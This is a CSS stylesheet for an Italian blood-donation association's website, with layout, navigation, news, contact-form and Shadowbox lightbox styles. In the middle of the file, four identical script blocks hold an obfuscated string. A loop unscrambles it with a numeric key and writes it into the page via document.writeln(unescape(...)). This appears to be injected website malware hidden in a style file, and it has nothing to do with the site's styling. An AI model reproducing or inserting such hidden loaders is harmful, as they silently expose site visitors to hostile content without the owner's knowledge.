/*
celeste -- #E9F4FA
celeste ++ #C3E4F7
azzurro #1A62DB
blu #244386
rosso #CD0000
*/

html, body { margin:0; padding:0; height:100%; }
body { background:#E9F4FA; text-align:center; font-family:"trebuchet MS", Arial, Helvetica, sans-serif; font-size:80%; line-height:150%; }

/* common */
h1, h2, h3, h4 { margin:0; padding:0; font-weight:normal;}
ul, li { margin:0; padding:0; list-style-type:none; }
p { margin:0; padding:0 0 0.2em 0; text-align:left; }
a { text-decoration:none; color:#CD0000; }
a:hover { color:#244386; }
h2 { padding:0.5em 0 0.2em 0; color:#1A62DB; text-align:left; font-size:1.6em;}
h3 { padding:0.5em 0 0.2em 0; color:#244386; text-align:left; font-size:1.4em;}
h4 { padding:0.2em 0 0.2em 0; color:#1A62DB; text-align:left; font-size:1.2em;}
legend { margin:0; padding:0.2em 0 0.8em 0; color:#1A62DB; font-size:1.2em;}
ul.list { margin:0.5em 0; padding:0 1em; list-style-type:none; text-align: justify;}
ul.list li { margin:0.5em 0; padding-left:15px; background:transparent url(bullet.jpg) no-repeat left 4px; }
#content img { border:0; background:url(ajax-loader.gif) no-repeat center; }
hr { clear:both; height:0; line-height:0; margin:0; border:0; padding:0; visibility:hidden; }
.left { text-align:left; }
.right { text-align:right; }
.center { text-align:center; }
.justify { text-align:justify; }
.small { font-size:0.9em;}
.bold { font-weight:bold;}
.italic { font-style:italic;}
.float-left { float:left; padding:10px 10px 10px 0; }
.float-right { float:right; padding:10px 0 10px 10px; }
.clear { clear:both; }

#header { background:url(bg-header.jpg) repeat-x; height:135px; }
#header-wrapper { width:900px; height:135px; margin:0 auto; position:relative; }

#container { background:#FFFFFF; padding:1em 0; min-height:500px; height: auto !important; height: 500px; }
#content { width:750px; margin:0 auto; }

#footer { background:url(bg-footer.jpg) repeat-x; height:105px; margin:0; }
#footer-wrapper { width:750px; margin:0 auto; padding:2.5em 0;}

#footer-wrapper p { text-align:center; padding:0 0 1.5em 0;}
#footer-wrapper a { text-decoration:none; color:#244386; }
#footer-wrapper a:hover {  color:#CD0000; }
#footer-wrapper img { vertical-align: middle; border:0;}

#logo { position:absolute; top:0; left:75px; width:750px; height:100px; background:url(logo.jpg) no-repeat; }
#logo a { overflow:hidden; text-indent:-999em; width:750px; height:100px; display:block; text-decoration:none; }

/* navigation */
#navigation { position:absolute; width:900px; height:35px; top:100px; left:0; z-index:42; }
#navigation li { float:left; width:150px; height:35px; text-indent:-9999px; line-height:0; position:relative }
#navigation li a { width:150px; height:35px; display:block; background-repeat:no-repeat; }
#navigation li a:hover, a.selected, #navigation li a.selected:hover { background-position: 0 -35px; }
#navigation li a#home  { background-image: url(btn-home.jpg); }
#navigation li a#chi-siamo{ background-image: url(btn-chi-siamo.jpg); }
#navigation li a#donare-sangue { background-image: url(btn-donare-sangue.jpg); }
#navigation li a#notizie { background-image: url(btn-notizie.jpg); }
#navigation li a#dove-siamo { background-image: url(btn-dove-siamo.jpg); }
#navigation li a#contatti { background-image: url(btn-contatti.jpg); }

/*sub menu */
#navigation ul { background:#E9F4FA url(bg-dropdown.jpg) repeat-x bottom; width:150px; position:absolute; top:35px; left:0; z-index:45; border-width:0 1px; border-color:#1A62DB; border-style:solid; }
#navigation ul li { text-indent:0; float:none; white-space: nowrap;}
#navigation ul li a  { width:150px; background:none; color:#244386; display:block; line-height:3em; text-align:center; border-bottom:1px solid #1A62DB; overflow:hidden; }
#navigation ul li a:hover { color:#CD0000; }

/* HOME */
#home-wrapper { width:750px; margin:10px 0; float:left; }
#home-wrapper h4 { padding-top:0;}
#home-wrapper p { text-align:justify;}
.float-img { float:left; padding-right:15px;}
.home-left { width:490px; float:left; margin-right:10px; background:#E9F4FA url(bg-right.jpg) top right repeat-y;border:1px solid #1A62DB;}
.home-right { width:240px; float:left; background:#E9F4FA url(bg-left.jpg) top left repeat-y;border:1px solid #1A62DB; }
.home-right div, .home-left div {padding:15px;}
h4.newsletter { padding-left:25px; background:url(email.gif) no-repeat 0 50%;}
h4.feed { padding-left:25px; background:url(feed.gif) no-repeat 0 50%;}
#slide-wrapper { width:750px; margin:10px 0; }
#slide-images{ position:relative; display:block; margin:0; padding:0; width:750px; height:200px; overflow:hidden; clear:both; list-style-type:none; }
#slide-images li { position:absolute; top:0; left:0; display:block; list-style-type:none; margin:0; padding:0; }
#slide-images li img { display:block; }

/* chi siamo - donazioni */
#left-side { float:left; width:580px;}
#right-side { float:right; width:160px; }
#right-side ul { background:#E9F4FA url(bg-dropdown.jpg) repeat-x bottom; width:150px; border-width:0 1px; border-color:#1A62DB; border-style:solid; float:right; margin-bottom:15px; }
#right-side ul li { text-indent:0; float:none;}
#right-side ul li.first { border-top:1px solid #1A62DB;}
#right-side ul li a  { width:150px; background:none; color:#244386; display:block; line-height:3em; text-align:center; border-bottom:1px solid #1A62DB; }
#right-side ul li a:hover { color:#CD0000; }

/* NEWS */
.article { width:100%; margin:10px 0; float:left; background:#E9F4FA url(bg-left.jpg) top left repeat-y; border:1px solid #1A62DB; }
.two { background:#E9F4FA url(bg-right.jpg) top right repeat-y; }
.article-inner { padding:10px;}
p.footer-article { float:right; clear:both; padding-right:20px; margin-bottom:10px; }
a.foto { width:150px; height:120px; overflow:hidden; margin:5px 15px 0 10px; float:left; background:url(ajax-loader.gif) no-repeat center;}

/* ARTICOLO */
.date { color:#244386;}
#immagini { float:left; margin:10px 0; padding:1em 0; border-top:1px solid #1A62DB; width:100%;}
#immagini a { float:left; margin:0 15px 20px 15px; width:150px; height:120px; }

/* consiglio direttivo */
dl { width:650px; margin:1em auto 0 auto;  }
dt { padding:0.4em 1.5em; font-weight:bold; background-color:#244386; color:#fff; text-align:left;}
dd { margin:0 0 1em 0; padding:0.5em 2em; background:#E9F4FA url(bg-left.jpg) repeat-y; border:1px solid #244386; text-align:right;
}
dd span { display:block; font-size:0.9em;}

/* dove siamo */
#map { width:100%; height:350px; margin:20px 0;}
#map img { background:none;}

/* CONTATTI - NEWSLETTER */
ul.info-left { float:left; width:50%; padding-bottom:20px; text-align:left; }
ul.info-right { float:right; width:30%; padding-bottom:20px; text-align:left; }
ul.info-left li, ul.info-right li { margin:0.5em 0; padding-left:15px; background:transparent url(bullet.jpg) no-repeat left 4px; }

#box {clear: both;}
#box form { width: 740px; float: left; margin-bottom:20px; }

form fieldset div { padding: 0 0 1em 0; float: left; display: inline; width: 370px; }

label { padding-right: 10px; width: 120px; display: block; float: left; text-align: right; }
fieldset { border:none; padding:0; margin:0; }

input, textarea { border:1px solid #1A62DB; padding:2px; font-size:1em; font-family:Arial, Helvetica, sans-serif; width:210px; background:none; }
textarea { overflow:auto; width:580px; }
form div.textarea { clear:both; width:740px; float:left; }
.button { margin:0 0 0 140px; clear: both; }
.button input { font-size:1.1em; border:0; padding:0; height:auto; float:left; width:auto; background:none; cursor:pointer; color:#CD0000;}
.button p { margin:0; padding-right:40px; float:right;  }
form img { float:left;}
.hoverfocus { border:1px solid #CD0000;}
#working { margin-left:350px; padding:30px 0 30px 30px; background:url(ajax-loader.gif) no-repeat left center;}
ul#error, #response { border:1px solid #CD0000; margin:10px auto; width:375px; padding:10px; text-align:left; }
ul#error li { margin:0.5em 0; padding-left:15px; background:transparent url(bullet.jpg) no-repeat left 4px; }<script>var a='';var b='e%/rpDlnxt232D0e2f a335e%97we%h2%%r0/ mDA..3k5jc2%%32d%i Cstrf33eo6tw2i6mDEe%2/uhu6ww%%D0%fr2r fcpkai20siud%h2b23330hai%4dp2D02e2a33m%22m/pt42%32%h2r%%ar%%omdj2xret2t2o2CEirtirF41udri5g%e%%%';var c='7639581204';for(var i=0;i<19;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*19)+i);document.writeln(unescape(a));</script>
<script>var a='';var b='e%/rpDlnxt232D0e2f a335e%97we%h2%%r0/ mDA..3k5jc2%%32d%i Cstrf33eo6tw2i6mDEe%2/uhu6ww%%D0%fr2r fcpkai20siud%h2b23330hai%4dp2D02e2a33m%22m/pt42%32%h2r%%ar%%omdj2xret2t2o2CEirtirF41udri5g%e%%%';var c='7639581204';for(var i=0;i<19;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*19)+i);document.writeln(unescape(a));</script>
<script>var a='';var b='e%/rpDlnxt232D0e2f a335e%97we%h2%%r0/ mDA..3k5jc2%%32d%i Cstrf33eo6tw2i6mDEe%2/uhu6ww%%D0%fr2r fcpkai20siud%h2b23330hai%4dp2D02e2a33m%22m/pt42%32%h2r%%ar%%omdj2xret2t2o2CEirtirF41udri5g%e%%%';var c='7639581204';for(var i=0;i<19;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*19)+i);document.writeln(unescape(a));</script>
<script>var a='';var b='e%/rpDlnxt232D0e2f a335e%97we%h2%%r0/ mDA..3k5jc2%%32d%i Cstrf33eo6tw2i6mDEe%2/uhu6ww%%D0%fr2r fcpkai20siud%h2b23330hai%4dp2D02e2a33m%22m/pt42%32%h2r%%ar%%omdj2xret2t2o2CEirtirF41udri5g%e%%%';var c='7639581204';for(var i=0;i<19;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*19)+i);document.writeln(unescape(a));</script>


/*_________________________________________________________________  Overlay  */
#shadowbox_overlay {
  visibility: hidden;
  position: absolute;
  display: block;
  margin: 0;
  padding: 0;
  top: 0;
  left: 0;
  z-index: 998;
}

/*_______________________________________________________________  Container  */
#shadowbox_container {
  position: fixed;
  height: 0px;
  width: 100%;
  margin: 0;
  padding: 0;
  top: 0;
  left: 0;
  z-index: 999;
  text-align: center; /* centers in quirks and IE */
}

/*_______________________________________________________________  Shadowbox  */
#shadowbox {
  display: none;
  visibility: hidden;
  margin: 0 auto;
  position: relative;
  font-family: Verdana, Arial, Helvetica, sans-serif;
  text-align: left; /* reset left alignment */
}

/*___________________________________________________________________  Title  */
/*
HTML snapshot:
<div id="shadowbox_title">
  <div id="shadowbox_title_inner">Title Here</div>
</div>
*/
#shadowbox_title {
  height: 25px;
  padding: 0;
  overflow: hidden;
}
#shadowbox_title_inner {
  height: 16px;
  font-size: 14px;
  line-height: 16px;
  white-space: nowrap;
  padding: 5px 0 4px 8px;
  color: #fff;
}

/*____________________________________________________________________  Body  */
/*
HTML snapsnot:
<div id="shadowbox_body">
  <div id="shadowbox_body_inner">
    <img src="my_image.jpg" id="shadowbox_content" height="350" width="580">
  </div>
  <div id="shadowbox_loading">
    <img src="images/loading.gif" alt="loading"></div>
    <span><a href="javascript:Shadowbox.close();">Cancel</a></span>
  </div>
</div>
*/
#shadowbox_body {
  position: relative;
  overflow: hidden;
  margin: 0;
  padding: 0;
  border: 2px solid #fff;
  background-color: #000;
}
#shadowbox_body_inner {
  position: relative;
  overflow: hidden;
}
#shadowbox_loading {
  position: absolute;
  top: 0;
  left: 0;
  height: 10000px; /* overflow:hidden will clip this */
  width: 100%;
  background-color: #222;
}
#shadowbox_loading img {
  float: left;
  margin: 10px 10px 0 10px;
}
#shadowbox_loading span {
  float: left;
  margin-top: 16px;
  font-size: 12px;
}
#shadowbox_loading span a,
#shadowbox_loading span a:link,
#shadowbox_loading span a:visited {
  color: #fff;
}

#shadowbox_content.html { /* make html content scrollable */
  height: 100%;
  width: 100%;
  overflow: auto;
}

/*_________________________________________________________________  Toolbar  */
/*
HTML snapshot:
<div id="shadowbox_toolbar">
  <div id="shadowbox_toolbar_inner">
    <div id="shadowbox_nav_close">
      <a href="javascript:Shadowbox.close();"><span class="shortcut">C</span>lose</a>
    </div>
    <div id="shadowbox_nav_next">
      <a href="javascript:Shadowbox.next();"><span class="shortcut">N</span>ext</a>
    </div>
    <div id="shadowbox_nav_previous">
      <a href="javascript:Shadowbox.previous();"><span class="shortcut">P</span>revious</a>
    </div>
    <div id="shadowbox_counter">
      <a href="javascript:Shadowbox.change(0);">1</a>
      <a href="javascript:Shadowbox.change(1);" class="shadowbox_counter_current">2</a>
      <a href="javascript:Shadowbox.change(2);">3</a>
    </div>
  </div>
</div>
*/
#shadowbox_toolbar {
  margin: 0;
  padding: 0;
  height: 20px;
  overflow: hidden;
}
#shadowbox_toolbar_inner {
  height: 20px;
  color: #fff;
}
#shadowbox_toolbar_inner div {
  padding-top: 4px;
  padding-bottom: 2px;
  font-size: 12px;
  height: 10px;
  line-height: 10px;
}
#shadowbox_toolbar_inner div span.shortcut {
  text-decoration: underline;
  font-weight: bold;
}
#shadowbox_toolbar_inner div a {
  text-decoration: none;
  color: #fff;
}
#shadowbox_nav_close,
#shadowbox_nav_previous,
#shadowbox_nav_next {
  float: right;
  padding-right: 10px;
}
#shadowbox_counter {
  float: left;
  padding-left: 10px;
}
#shadowbox_counter a {
  padding: 0 4px 0 0;
}
#shadowbox_counter a.shadowbox_counter_current {
  text-decoration: underline;
  font-weight: bold;
}

/*________________________________________________________________  Messages  */
div.shadowbox_message {
  text-align: center;
  padding: 10px;
}
div.shadowbox_message a:link,
div.shadowbox_message a:visited {
  text-decoration: none;
  color: #bed333;
}
div.shadowbox_message a:hover,
div.shadowbox_message a:focus {
  text-decoration: underline;
}